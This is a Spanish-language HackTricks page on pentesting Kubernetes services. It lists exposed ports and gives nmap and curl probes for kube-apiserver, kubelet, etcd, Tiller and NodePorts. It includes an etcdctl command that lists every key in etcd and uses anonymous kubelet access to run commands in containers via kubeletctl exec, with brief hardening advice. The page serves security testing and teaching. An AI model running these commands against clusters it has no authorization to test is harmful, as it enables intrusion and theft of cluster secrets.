Pentesting Kubernetes Services

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Kubernetes utiliza varios servicios de red específicos que podrían estar expuestos a Internet o en una red interna una vez que hayas comprometido un pod.

Encontrar pods expuestos con OSINT

Una forma podría ser buscar Identity LIKE "k8s.%.com" en crt.sh para encontrar subdominios relacionados con Kubernetes. Otra forma podría ser buscar "k8s.%.com" en github y buscar archivos YAML que contengan la cadena.

Cómo Kubernetes expone servicios

Podría ser útil para ti entender cómo Kubernetes puede exponer servicios públicamente para encontrarlos:

pageExposing Services in Kubernetes

Encontrar pods expuestos mediante escaneo de puertos

Los siguientes puertos podrían estar abiertos en un clúster de Kubernetes:

PuertoProcesoDescripción

443/TCP

kube-apiserver

Puerto de la API de Kubernetes

2379/TCP

etcd

6666/TCP

etcd

etcd

4194/TCP

cAdvisor

Métricas de contenedores

6443/TCP

kube-apiserver

Puerto de la API de Kubernetes

8443/TCP

kube-apiserver

Puerto de la API de Minikube

8080/TCP

kube-apiserver

Puerto de API no seguro

10250/TCP

kubelet

API HTTPS que permite acceso en modo completo

10255/TCP

kubelet

Puerto HTTP de solo lectura sin autenticación: pods, pods en ejecución y estado del nodo

10256/TCP

kube-proxy

Servidor de verificación de estado de Kube Proxy

9099/TCP

calico-felix

Servidor de verificación de estado para Calico

6782-4/TCP

weave

Métricas y puntos finales

30000-32767/TCP

NodePort

Proxy a los servicios

44134/TCP

Tiller

Servicio de Helm escuchando

Nmap

nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16

Kube-apiserver

Este es el servicio API de Kubernetes con el que los administradores suelen comunicarse utilizando la herramienta kubectl.

Puertos comunes: 6443 y 443, pero también 8443 en minikube y 8080 como inseguro.

curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1

Consulte la siguiente página para aprender cómo obtener datos sensibles y realizar acciones sensibles hablando con este servicio:

pageKubernetes Enumeration

API de Kubelet

Este servicio se ejecuta en cada nodo del clúster. Es el servicio que controlará las pods dentro del nodo. Se comunica con el kube-apiserver.

Si encuentra este servicio expuesto, es posible que haya encontrado un RCE sin autenticación.

API de Kubelet

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

Si la respuesta es Unauthorized, entonces requiere autenticación.

Si puedes listar nodos, puedes obtener una lista de puntos finales de kubelets con:

kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done

kubelet (Solo lectura)

curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods

API de etcd

curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Tiller

Tiller es un componente de Kubernetes que gestiona los despliegues de Helm en el clúster.

helm --host tiller-deploy.kube-system:44134 version

Puedes abusar de este servicio para escalar privilegios dentro de Kubernetes:

cAdvisor

Servicio útil para recopilar métricas.

curl -k https://<IP Address>:4194

NodePort

Cuando un puerto se expone en todos los nodos a través de un NodePort, el mismo puerto se abre en todos los nodos para redirigir el tráfico al Servicio declarado. Por defecto, este puerto estará en el rango 30000-32767. Por lo tanto, nuevos servicios no verificados podrían ser accesibles a través de esos puertos.

sudo nmap -sS -p 30000-32767 <IP>

Configuraciones Vulnerables

Acceso Anónimo al Kube-apiserver

El acceso anónimo a los puntos finales de la API de kube-apiserver no está permitido. Sin embargo, podrías verificar algunos puntos finales:

Verificación de Acceso Anónimo a ETCD

ETCD almacena secretos del clúster, archivos de configuración y otros datos sensibles. Por defecto, el ETCD no puede ser accedido anónimamente, pero siempre es bueno verificar.

Si se puede acceder al ETCD de forma anónima, es posible que necesites utilizar la herramienta etcdctl. El siguiente comando obtendrá todas las claves almacenadas:

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kubelet RCE

La documentación de Kubelet explica que por defecto se permite el acceso anónimo al servicio:

Habilita las solicitudes anónimas al servidor Kubelet. Las solicitudes que no son rechazadas por otro método de autenticación se tratan como solicitudes anónimas. Las solicitudes anónimas tienen un nombre de usuario system:anonymous y un nombre de grupo system:unauthenticated.

Para comprender mejor cómo funciona la autenticación y autorización de la API de Kuebelet, consulte esta página:

pageKubelet Authentication & Authorization

El servicio Kubelet API no está documentado, pero el código fuente se puede encontrar aquí y encontrar los puntos finales expuestos es tan fácil como ejecutar:

curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").

Puedes usar la herramienta Kubeletctl para interactuar con los Kubelets y sus puntos finales.

/pods

Este punto final lista los pods y sus contenedores:

kubeletctl pods

/exec

Este endpoint permite ejecutar código dentro de cualquier contenedor de forma muy sencilla:

kubeletctl exec [command]

Para evitar este ataque, el servicio kubelet debe ejecutarse con --anonymous-auth false y el servicio debe estar segregado a nivel de red.

Comprobación de la Exposición de Información del Puerto de Solo Lectura de Kubelet

Cuando se expone un puerto de solo lectura de kubelet, se vuelve posible que se recupere información de la API por parte de partes no autorizadas. La exposición de este puerto puede llevar a la divulgación de varios elementos de configuración del clúster. Aunque la información, incluidos nombres de pods, ubicaciones de archivos internos y otras configuraciones, puede que no sea crítica, su exposición aún representa un riesgo de seguridad y se debe evitar.

Un ejemplo de cómo esta vulnerabilidad puede ser explotada implica que un atacante remoto acceda a una URL específica. Al navegar a http://<external-IP>:10255/pods, el atacante potencialmente puede recuperar información sensible del kubelet:

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización